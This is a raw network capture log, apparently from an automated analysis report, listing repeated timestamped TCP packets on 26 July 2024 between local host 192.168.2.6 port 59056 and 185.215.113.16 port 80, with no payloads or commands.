Jul 26, 2024 13:49:33.060542107 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.060550928 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.060640097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.060651064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.060661077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.060671091 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061368942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061412096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061422110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061501026 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.061505079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061516047 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061525106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061651945 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.061669111 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.061678886 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061687946 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061692953 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061702967 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061712980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061867952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061927080 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.061935902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.062180996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.062194109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.062226057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.062263966 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.062297106 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.062309027 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.062536001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.062594891 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.062602997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.062612057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.062666893 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.062988997 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.062998056 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.063008070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.063046932 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.063067913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.063178062 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.064033985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064079046 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.064143896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064153910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064173937 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.064192057 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.064198971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064209938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064219952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064373970 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064424038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064435005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064589024 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.064610958 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064635038 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064707041 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064717054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064727068 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064837933 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.064915895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.064994097 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.067303896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.067329884 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.067338943 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.067353010 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.067373991 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.073570967 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.073590040 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.073601007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.073717117 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.073738098 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.073765993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.073784113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.073793888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.074285030 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.074340105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.074351072 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.074471951 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.074481964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.074491978 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.074501991 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.074511051 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.074661016 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.074944973 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.075387001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.075423956 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.075447083 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.075458050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.075508118 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.075614929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.075625896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.075635910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.075645924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.075649977 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.075737000 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.078948975 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.079006910 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.079010963 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.079018116 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.079119921 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.079134941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.079145908 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.079157114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.079282999 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.079288960 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.079498053 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.089025974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.089037895 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.089049101 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.089129925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.089140892 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.089154005 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.089164019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.089777946 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.090595007 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.090642929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.090653896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.090773106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.090785027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.090795994 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.090806961 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.090960026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.090991020 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.091016054 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.136012077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136049986 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136071920 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136138916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136149883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136162996 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136174917 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136349916 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136462927 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136473894 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136496067 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136506081 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136518002 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136531115 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.136804104 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.137918949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.137962103 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.137973070 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.138117075 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.138128042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.138139009 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.138150930 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.140288115 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.140322924 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.140338898 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.142677069 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.142697096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.142720938 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.142744064 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.142744064 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.142760992 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.142776012 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.142787933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.142797947 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.142812014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.142925978 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.150314093 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.150357962 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.150388002 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.150439024 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.150465012 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.150482893 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.150542021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.150553942 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.150608063 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.150686026 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.150696039 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.150763035 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.151230097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.151321888 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.151348114 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.151408911 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.151418924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.151420116 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.151483059 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.151551962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.151562929 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.151573896 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.151599884 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.151613951 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.152354956 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.152506113 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.152515888 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.163440943 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.168947935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.168996096 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.169006109 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.169106960 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.195000887 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195022106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195034027 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195075989 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.195080042 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195112944 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.195265055 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195276022 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195332050 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195342064 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195353031 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195364952 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195421934 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.195584059 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195595980 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195605993 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.195671082 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.196858883 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.196870089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.196888924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.196894884 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.196898937 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.196911097 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.196921110 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.196932077 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.196974993 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.197011948 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.197022915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.197187901 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.201376915 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.201422930 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.201452971 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.201464891 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.201591015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.201642036 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.201653004 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.201654911 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.201664925 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.201673985 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.201802969 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.209240913 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.209284067 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.209291935 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.209302902 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.209320068 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.209430933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.209443092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.209477901 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.209979057 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210019112 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.210045099 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210057020 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210098982 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.210289001 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210299015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210309982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210320950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210407972 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.210427999 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210541010 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210552931 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210630894 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.210685015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210695982 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210706949 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.210738897 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.211013079 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.211024046 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.211033106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.211050034 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.211070061 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.211436987 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.211456060 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.211467028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.211473942 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.211545944 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.211662054 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.211673021 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.211683989 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.211714029 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.211726904 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.212369919 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.212408066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.212409973 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.212419033 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.212493896 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.212801933 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.212821960 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.212835073 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.212841034 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.212846994 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.212910891 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.213042974 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.213052988 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.213090897 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.213094950 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.213154078 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.213172913 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.213192940 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.213881969 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.213934898 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.213946104 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.214795113 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.225919962 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.225960970 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237051964 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237061977 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237076998 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237087965 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237097025 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237111092 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237112999 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237121105 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237127066 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237243891 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237283945 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237293959 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237303019 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237313032 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237322092 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237322092 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237332106 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237334967 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237341881 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237349987 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237350941 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237360954 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237370014 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237375021 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237380028 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237389088 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237396955 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237404108 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237406015 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237416029 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237425089 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237425089 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237435102 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237437010 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:33.237443924 CEST	80	59056	185.215.113.16	192.168.2.6
Jul 26, 2024 13:49:33.237452984 CEST	59056	80	192.168.2.6	185.215.113.16
